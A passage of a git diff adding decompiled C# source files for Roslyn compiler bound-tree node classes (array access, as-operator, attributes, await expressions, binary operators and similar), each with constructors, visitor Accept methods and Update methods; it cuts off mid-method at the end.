b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArrayAccess.cs @@ -0,0 +1,38 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundArrayAccess : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Expression { get; } + + public ImmutableArray Indices { get; } + + public BoundArrayAccess(SyntaxNode syntax, BoundExpression expression, ImmutableArray indices, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.ArrayAccess, syntax, type, hasErrors || expression.HasErrors() || indices.HasErrors()) + { + Expression = expression; + Indices = indices; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitArrayAccess(this); + } + + public BoundArrayAccess Update(BoundExpression expression, ImmutableArray indices, TypeSymbol type) + { + if (expression != Expression || indices != Indices || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundArrayAccess boundArrayAccess = new BoundArrayAccess(Syntax, expression, indices, type, base.HasErrors); + boundArrayAccess.CopyAttributes(this); + return boundArrayAccess; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArrayCreation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArrayCreation.cs new file mode 100644 index 0000000..064d958 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArrayCreation.cs @@ -0,0 +1,38 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundArrayCreation : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public ImmutableArray Bounds { get; } + + public BoundArrayInitialization? InitializerOpt { get; } + + public BoundArrayCreation(SyntaxNode syntax, ImmutableArray bounds, BoundArrayInitialization? initializerOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.ArrayCreation, syntax, type, hasErrors || bounds.HasErrors() || initializerOpt.HasErrors()) + { + Bounds = bounds; + InitializerOpt = initializerOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitArrayCreation(this); + } + + public BoundArrayCreation Update(ImmutableArray bounds, BoundArrayInitialization? initializerOpt, TypeSymbol type) + { + if (bounds != Bounds || initializerOpt != InitializerOpt || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundArrayCreation boundArrayCreation = new BoundArrayCreation(Syntax, bounds, initializerOpt, type, base.HasErrors); + boundArrayCreation.CopyAttributes(this); + return boundArrayCreation; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArrayInitialization.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArrayInitialization.cs new file mode 100644 index 0000000..478b805 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArrayInitialization.cs @@ -0,0 +1,43 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundArrayInitialization : BoundExpression +{ + public new TypeSymbol? Type => base.Type; + + public bool IsInferred { get; } + + public ImmutableArray Initializers { get; } + + public BoundArrayInitialization Update(ImmutableArray initializers) + { + return Update(IsInferred, initializers); + } + + public BoundArrayInitialization(SyntaxNode syntax, bool isInferred, ImmutableArray initializers, bool hasErrors = false) + : base(BoundKind.ArrayInitialization, syntax, null, hasErrors || initializers.HasErrors()) + { + IsInferred = isInferred; + Initializers = initializers; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitArrayInitialization(this); + } + + public BoundArrayInitialization Update(bool isInferred, ImmutableArray initializers) + { + if (isInferred != IsInferred || initializers != Initializers) + { + BoundArrayInitialization boundArrayInitialization = new BoundArrayInitialization(Syntax, isInferred, initializers, base.HasErrors); + boundArrayInitialization.CopyAttributes(this); + return boundArrayInitialization; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArrayLength.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArrayLength.cs new file mode 100644 index 0000000..5ddc7ae --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundArrayLength.cs @@ -0,0 +1,34 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundArrayLength : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Expression { get; } + + public BoundArrayLength(SyntaxNode syntax, BoundExpression expression, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.ArrayLength, syntax, type, hasErrors || expression.HasErrors()) + { + Expression = expression; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitArrayLength(this); + } + + public BoundArrayLength Update(BoundExpression expression, TypeSymbol type) + { + if (expression != Expression || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundArrayLength boundArrayLength = new BoundArrayLength(Syntax, expression, type, base.HasErrors); + boundArrayLength.CopyAttributes(this); + return boundArrayLength; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAsOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAsOperator.cs new file mode 100644 index 0000000..4a01e97 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAsOperator.cs @@ -0,0 +1,43 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundAsOperator : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Operand { get; } + + public BoundTypeExpression TargetType { get; } + + public BoundValuePlaceholder? OperandPlaceholder { get; } + + public BoundExpression? OperandConversion { get; } + + public BoundAsOperator(SyntaxNode syntax, BoundExpression operand, BoundTypeExpression targetType, BoundValuePlaceholder? operandPlaceholder, BoundExpression? operandConversion, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.AsOperator, syntax, type, hasErrors || operand.HasErrors() || targetType.HasErrors() || operandPlaceholder.HasErrors() || operandConversion.HasErrors()) + { + Operand = operand; + TargetType = targetType; + OperandPlaceholder = operandPlaceholder; + OperandConversion = operandConversion; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitAsOperator(this); + } + + public BoundAsOperator Update(BoundExpression operand, BoundTypeExpression targetType, BoundValuePlaceholder? operandPlaceholder, BoundExpression? operandConversion, TypeSymbol type) + { + if (operand != Operand || targetType != TargetType || operandPlaceholder != OperandPlaceholder || operandConversion != OperandConversion || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundAsOperator boundAsOperator = new BoundAsOperator(Syntax, operand, targetType, operandPlaceholder, operandConversion, type, base.HasErrors); + boundAsOperator.CopyAttributes(this); + return boundAsOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAssignmentOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAssignmentOperator.cs new file mode 100644 index 0000000..2c5dad8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAssignmentOperator.cs @@ -0,0 +1,45 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundAssignmentOperator : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Left { get; } + + public BoundExpression Right { get; } + + public bool IsRef { get; } + + public BoundAssignmentOperator(SyntaxNode syntax, BoundExpression left, BoundExpression right, TypeSymbol type, bool isRef = false, bool hasErrors = false) + : this(syntax, left, right, isRef, type, hasErrors) + { + } + + public BoundAssignmentOperator(SyntaxNode syntax, BoundExpression left, BoundExpression right, bool isRef, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.AssignmentOperator, syntax, type, hasErrors || left.HasErrors() || right.HasErrors()) + { + Left = left; + Right = right; + IsRef = isRef; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitAssignmentOperator(this); + } + + public BoundAssignmentOperator Update(BoundExpression left, BoundExpression right, bool isRef, TypeSymbol type) + { + if (left != Left || right != Right || isRef != IsRef || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundAssignmentOperator boundAssignmentOperator = new BoundAssignmentOperator(Syntax, left, right, isRef, type, base.HasErrors); + boundAssignmentOperator.CopyAttributes(this); + return boundAssignmentOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAttribute.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAttribute.cs new file mode 100644 index 0000000..0835236 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAttribute.cs @@ -0,0 +1,65 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundAttribute : BoundExpression +{ + public override Symbol? ExpressionSymbol => Constructor; + + protected override ImmutableArray Children => StaticCast.From(ConstructorArguments.AddRange(StaticCast.From(NamedArguments))); + + public new TypeSymbol Type => base.Type; + + public MethodSymbol? Constructor { get; } + + public ImmutableArray ConstructorArguments { get; } + + public ImmutableArray ConstructorArgumentNamesOpt { get; } + + public ImmutableArray ConstructorArgumentsToParamsOpt { get; } + + public bool ConstructorExpanded { get; } + + public BitVector ConstructorDefaultArguments { get; } + + public ImmutableArray NamedArguments { get; } + + public override LookupResultKind ResultKind { get; } + + public BoundAttribute(SyntaxNode syntax, MethodSymbol? constructor, ImmutableArray constructorArguments, ImmutableArray constructorArgumentNamesOpt, ImmutableArray constructorArgumentsToParamsOpt, bool constructorExpanded, BitVector constructorDefaultArguments, ImmutableArray namedArguments, LookupResultKind resultKind, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.Attribute, syntax, type, hasErrors || constructorArguments.HasErrors() || namedArguments.HasErrors()) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + Constructor = constructor; + ConstructorArguments = constructorArguments; + ConstructorArgumentNamesOpt = constructorArgumentNamesOpt; + ConstructorArgumentsToParamsOpt = constructorArgumentsToParamsOpt; + ConstructorExpanded = constructorExpanded; + ConstructorDefaultArguments = constructorDefaultArguments; + NamedArguments = namedArguments; + ResultKind = resultKind; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitAttribute(this); + } + + public BoundAttribute Update(MethodSymbol? constructor, ImmutableArray constructorArguments, ImmutableArray constructorArgumentNamesOpt, ImmutableArray constructorArgumentsToParamsOpt, bool constructorExpanded, BitVector constructorDefaultArguments, ImmutableArray namedArguments, LookupResultKind resultKind, TypeSymbol type) + { + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + if (!SymbolEqualityComparer.ConsiderEverything.Equals(constructor, Constructor) || constructorArguments != ConstructorArguments || constructorArgumentNamesOpt != ConstructorArgumentNamesOpt || constructorArgumentsToParamsOpt != ConstructorArgumentsToParamsOpt || constructorExpanded != ConstructorExpanded || constructorDefaultArguments != ConstructorDefaultArguments || namedArguments != NamedArguments || resultKind != ResultKind || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundAttribute boundAttribute = new BoundAttribute(Syntax, constructor, constructorArguments, constructorArgumentNamesOpt, constructorArgumentsToParamsOpt, constructorExpanded, constructorDefaultArguments, namedArguments, resultKind, type, base.HasErrors); + boundAttribute.CopyAttributes(this); + return boundAttribute; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAwaitExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAwaitExpression.cs new file mode 100644 index 0000000..72dc57f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAwaitExpression.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundAwaitExpression : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Expression { get; } + + public BoundAwaitableInfo AwaitableInfo { get; } + + public BoundAwaitExpressionDebugInfo DebugInfo { get; } + + public BoundAwaitExpression(SyntaxNode syntax, BoundExpression expression, BoundAwaitableInfo awaitableInfo, BoundAwaitExpressionDebugInfo debugInfo, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.AwaitExpression, syntax, type, hasErrors || expression.HasErrors() || awaitableInfo.HasErrors()) + { + Expression = expression; + AwaitableInfo = awaitableInfo; + DebugInfo = debugInfo; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitAwaitExpression(this); + } + + public BoundAwaitExpression Update(BoundExpression expression, BoundAwaitableInfo awaitableInfo, BoundAwaitExpressionDebugInfo debugInfo, TypeSymbol type) + { + if (expression != Expression || awaitableInfo != AwaitableInfo || debugInfo != DebugInfo || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundAwaitExpression boundAwaitExpression = new BoundAwaitExpression(Syntax, expression, awaitableInfo, debugInfo, type, base.HasErrors); + boundAwaitExpression.CopyAttributes(this); + return boundAwaitExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAwaitExpressionDebugInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAwaitExpressionDebugInfo.cs new file mode 100644 index 0000000..8a94c69 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAwaitExpressionDebugInfo.cs @@ -0,0 +1,5 @@ +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly record struct BoundAwaitExpressionDebugInfo(AwaitDebugId AwaitId, byte ReservedStateMachineCount); diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAwaitableInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAwaitableInfo.cs new file mode 100644 index 0000000..8739e19 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAwaitableInfo.cs @@ -0,0 +1,44 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundAwaitableInfo : BoundNode +{ + public BoundAwaitableValuePlaceholder? AwaitableInstancePlaceholder { get; } + + public bool IsDynamic { get; } + + public BoundExpression? GetAwaiter { get; } + + public PropertySymbol? IsCompleted { get; } + + public MethodSymbol? GetResult { get; } + + public BoundAwaitableInfo(SyntaxNode syntax, BoundAwaitableValuePlaceholder? awaitableInstancePlaceholder, bool isDynamic, BoundExpression? getAwaiter, PropertySymbol? isCompleted, MethodSymbol? getResult, bool hasErrors = false) + : base(BoundKind.AwaitableInfo, syntax, hasErrors || awaitableInstancePlaceholder.HasErrors() || getAwaiter.HasErrors()) + { + AwaitableInstancePlaceholder = awaitableInstancePlaceholder; + IsDynamic = isDynamic; + GetAwaiter = getAwaiter; + IsCompleted = isCompleted; + GetResult = getResult; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitAwaitableInfo(this); + } + + public BoundAwaitableInfo Update(BoundAwaitableValuePlaceholder? awaitableInstancePlaceholder, bool isDynamic, BoundExpression? getAwaiter, PropertySymbol? isCompleted, MethodSymbol? getResult) + { + if (awaitableInstancePlaceholder != AwaitableInstancePlaceholder || isDynamic != IsDynamic || getAwaiter != GetAwaiter || !SymbolEqualityComparer.ConsiderEverything.Equals(isCompleted, IsCompleted) || !SymbolEqualityComparer.ConsiderEverything.Equals(getResult, GetResult)) + { + BoundAwaitableInfo boundAwaitableInfo = new BoundAwaitableInfo(Syntax, awaitableInstancePlaceholder, isDynamic, getAwaiter, isCompleted, getResult, base.HasErrors); + boundAwaitableInfo.CopyAttributes(this); + return boundAwaitableInfo; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAwaitableValuePlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAwaitableValuePlaceholder.cs new file mode 100644 index 0000000..47255ae --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundAwaitableValuePlaceholder.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundAwaitableValuePlaceholder : BoundValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference => false; + + public new TypeSymbol? Type => base.Type; + + public BoundAwaitableValuePlaceholder(SyntaxNode syntax, TypeSymbol? type, bool hasErrors) + : base(BoundKind.AwaitableValuePlaceholder, syntax, type, hasErrors) + { + } + + public BoundAwaitableValuePlaceholder(SyntaxNode syntax, TypeSymbol? type) + : base(BoundKind.AwaitableValuePlaceholder, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitAwaitableValuePlaceholder(this); + } + + public BoundAwaitableValuePlaceholder Update(TypeSymbol? type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundAwaitableValuePlaceholder boundAwaitableValuePlaceholder = new BoundAwaitableValuePlaceholder(Syntax, type, base.HasErrors); + boundAwaitableValuePlaceholder.CopyAttributes(this); + return boundAwaitableValuePlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBadExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBadExpression.cs new file mode 100644 index 0000000..db01b92 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBadExpression.cs @@ -0,0 +1,48 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundBadExpression : BoundExpression, IBoundInvalidNode +{ + protected override ImmutableArray Children => StaticCast.From(ChildBoundNodes); + + ImmutableArray IBoundInvalidNode.InvalidNodeChildren => StaticCast.From(ChildBoundNodes); + + public override LookupResultKind ResultKind { get; } + + public ImmutableArray Symbols { get; } + + public ImmutableArray ChildBoundNodes { get; } + + public BoundBadExpression(SyntaxNode syntax, LookupResultKind resultKind, ImmutableArray symbols, ImmutableArray childBoundNodes, TypeSymbol type) + : this(syntax, resultKind, symbols, childBoundNodes, type, hasErrors: true) + { + } + + public BoundBadExpression(SyntaxNode syntax, LookupResultKind resultKind, ImmutableArray symbols, ImmutableArray childBoundNodes, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.BadExpression, syntax, type, hasErrors || childBoundNodes.HasErrors()) + { + ResultKind = resultKind; + Symbols = symbols; + ChildBoundNodes = childBoundNodes; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitBadExpression(this); + } + + public BoundBadExpression Update(LookupResultKind resultKind, ImmutableArray symbols, ImmutableArray childBoundNodes, TypeSymbol? type) + { + if (resultKind != ResultKind || symbols != Symbols || childBoundNodes != ChildBoundNodes || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundBadExpression boundBadExpression = new BoundBadExpression(Syntax, resultKind, symbols, childBoundNodes, type, base.HasErrors); + boundBadExpression.CopyAttributes(this); + return boundBadExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBadStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBadStatement.cs new file mode 100644 index 0000000..c0d0bd5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBadStatement.cs @@ -0,0 +1,36 @@ +using System.Collections.Immutable; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundBadStatement : BoundStatement, IBoundInvalidNode +{ + protected override ImmutableArray Children => ChildBoundNodes; + + ImmutableArray IBoundInvalidNode.InvalidNodeChildren => ChildBoundNodes; + + public ImmutableArray ChildBoundNodes { get; } + + public BoundBadStatement(SyntaxNode syntax, ImmutableArray childBoundNodes, bool hasErrors = false) + : base(BoundKind.BadStatement, syntax, hasErrors || childBoundNodes.HasErrors()) + { + ChildBoundNodes = childBoundNodes; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitBadStatement(this); + } + + public BoundBadStatement Update(ImmutableArray childBoundNodes) + { + if (childBoundNodes != ChildBoundNodes) + { + BoundBadStatement boundBadStatement = new BoundBadStatement(Syntax, childBoundNodes, base.HasErrors); + boundBadStatement.CopyAttributes(this); + return boundBadStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBaseReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBaseReference.cs new file mode 100644 index 0000000..dbc6306 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBaseReference.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundBaseReference : BoundExpression +{ + public override bool SuppressVirtualCalls => true; + + public new TypeSymbol? Type => base.Type; + + public BoundBaseReference(SyntaxNode syntax, TypeSymbol? type, bool hasErrors) + : base(BoundKind.BaseReference, syntax, type, hasErrors) + { + } + + public BoundBaseReference(SyntaxNode syntax, TypeSymbol? type) + : base(BoundKind.BaseReference, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitBaseReference(this); + } + + public BoundBaseReference Update(TypeSymbol? type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundBaseReference boundBaseReference = new BoundBaseReference(Syntax, type, base.HasErrors); + boundBaseReference.CopyAttributes(this); + return boundBaseReference; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBinaryOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBinaryOperator.cs new file mode 100644 index 0000000..0590414 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundBinaryOperator.cs @@ -0,0 +1,127 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundBinaryOperator : BoundBinaryOperatorBase +{ + internal class UncommonData + { + public readonly ConstantValue? ConstantValue; + + public readonly MethodSymbol? Method; + + public readonly TypeSymbol? ConstrainedToType; + + public readonly bool IsUnconvertedInterpolatedStringAddition; + + public readonly InterpolatedStringHandlerData? InterpolatedStringHandlerData; + + public readonly ImmutableArray OriginalUserDefinedOperatorsOpt; + + public static UncommonData UnconvertedInterpolatedStringAddition(ConstantValue? constantValue) + { + return new UncommonData(constantValue, null, null, default(ImmutableArray), isUnconvertedInterpolatedStringAddition: true, null); + } + + public static UncommonData InterpolatedStringHandlerAddition(InterpolatedStringHandlerData data) + { + return new UncommonData(null, null, null, default(ImmutableArray), isUnconvertedInterpolatedStringAddition: false, data); + } + + public static UncommonData? CreateIfNeeded(ConstantValue? constantValue, MethodSymbol? method, TypeSymbol? constrainedToType, ImmutableArray originalUserDefinedOperatorsOpt) + { + if (constantValue != (ConstantValue)null || (object)method != null || (object)constrainedToType != null || !originalUserDefinedOperatorsOpt.IsDefault) + { + return new UncommonData(constantValue, method, constrainedToType, originalUserDefinedOperatorsOpt, isUnconvertedInterpolatedStringAddition: false, null); + } + return null; + } + + private UncommonData(ConstantValue? constantValue, MethodSymbol? method, TypeSymbol? constrainedToType, ImmutableArray originalUserDefinedOperatorsOpt, bool isUnconvertedInterpolatedStringAddition, InterpolatedStringHandlerData? interpolatedStringHandlerData) + { + ConstantValue = constantValue; + Method = method; + ConstrainedToType = constrainedToType; + OriginalUserDefinedOperatorsOpt = originalUserDefinedOperatorsOpt; + IsUnconvertedInterpolatedStringAddition = isUnconvertedInterpolatedStringAddition; + InterpolatedStringHandlerData = interpolatedStringHandlerData; + } + + public UncommonData WithUpdatedMethod(MethodSymbol? method) + { + if ((object)method == Method) + { + return this; + } + return new UncommonData(ConstantValue, method, ConstrainedToType, OriginalUserDefinedOperatorsOpt, IsUnconvertedInterpolatedStringAddition, InterpolatedStringHandlerData); + } + } + + public override ConstantValue? ConstantValueOpt => Data?.ConstantValue; + + public override Symbol? ExpressionSymbol => Method; + + internal MethodSymbol? Method => Data?.Method; + + internal TypeSymbol? ConstrainedToType => Data?.ConstrainedToType; + + internal bool IsUnconvertedInterpolatedStringAddition => Data?.IsUnconvertedInterpolatedStringAddition ?? false; + + internal InterpolatedStringHandlerData? InterpolatedStringHandlerData => Data?.InterpolatedStringHandlerData; + + internal ImmutableArray OriginalUserDefinedOperatorsOpt => Data?.OriginalUserDefinedOperatorsOpt ?? default(ImmutableArray); + + public BinaryOperatorKind OperatorKind { get; } + + public UncommonData? Data { get; } + + public override LookupResultKind ResultKind { get; } + + public BoundBinaryOperator(SyntaxNode syntax, BinaryOperatorKind operatorKind, BoundExpression left, BoundExpression right, ConstantValue? constantValueOpt, MethodSymbol? methodOpt, TypeSymbol? constrainedToTypeOpt, LookupResultKind resultKind, ImmutableArray originalUserDefinedOperatorsOpt, TypeSymbol type, bool hasErrors = false) + : this(syntax, operatorKind, UncommonData.CreateIfNeeded(constantValueOpt, methodOpt, constrainedToTypeOpt, originalUserDefinedOperatorsOpt), resultKind, left, right, type, hasErrors) + { + } + + public BoundBinaryOperator(SyntaxNode syntax, BinaryOperatorKind operatorKind, ConstantValue? constantValueOpt, MethodSymbol? methodOpt, TypeSymbol? constrainedToTypeOpt, LookupResultKind resultKind, BoundExpression left, BoundExpression right, TypeSymbol type, bool hasErrors = false) + : this(syntax, operatorKind, UncommonData.CreateIfNeeded(constantValueOpt, methodOpt, constrainedToTypeOpt, default(ImmutableArray)), resultKind, left, right, type, hasErrors) + { + } + + public BoundBinaryOperator Update(BinaryOperatorKind operatorKind, ConstantValue? constantValueOpt, MethodSymbol? methodOpt, TypeSymbol? constrainedToTypeOpt, LookupResultKind resultKind, BoundExpression left, BoundExpression right, TypeSymbol type) + { + UncommonData data = UncommonData.CreateIfNeeded(constantValueOpt, methodOpt, constrainedToTypeOpt, OriginalUserDefinedOperatorsOpt); + return Update(operatorKind, data, resultKind, left, right, type); + } + + public BoundBinaryOperator Update(UncommonData uncommonData) + { + return Update(OperatorKind, uncommonData, ResultKind, base.Left, base.Right, base.Type); + } + + public BoundBinaryOperator(SyntaxNode syntax, BinaryOperatorKind operatorKind, UncommonData? data, LookupResultKind resultKind, BoundExpression left, BoundExpression right, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.BinaryOperator, syntax, left, right, type, hasErrors || left.HasErrors() || right.HasErrors()) + { + OperatorKind = operatorKind; + Data = data; + ResultKind = resultKind; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitBinaryOperator(this); + } + + public BoundBinaryOperator Update(BinaryOperatorKind operatorKind, UncommonData? data, LookupResultKind resultKind, BoundExpression left, BoundExpression right, TypeSymbol type) + { + if (operatorKind != OperatorKind || data != Data || resultKind != ResultKind || left != base.Left || right != base.Right || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + 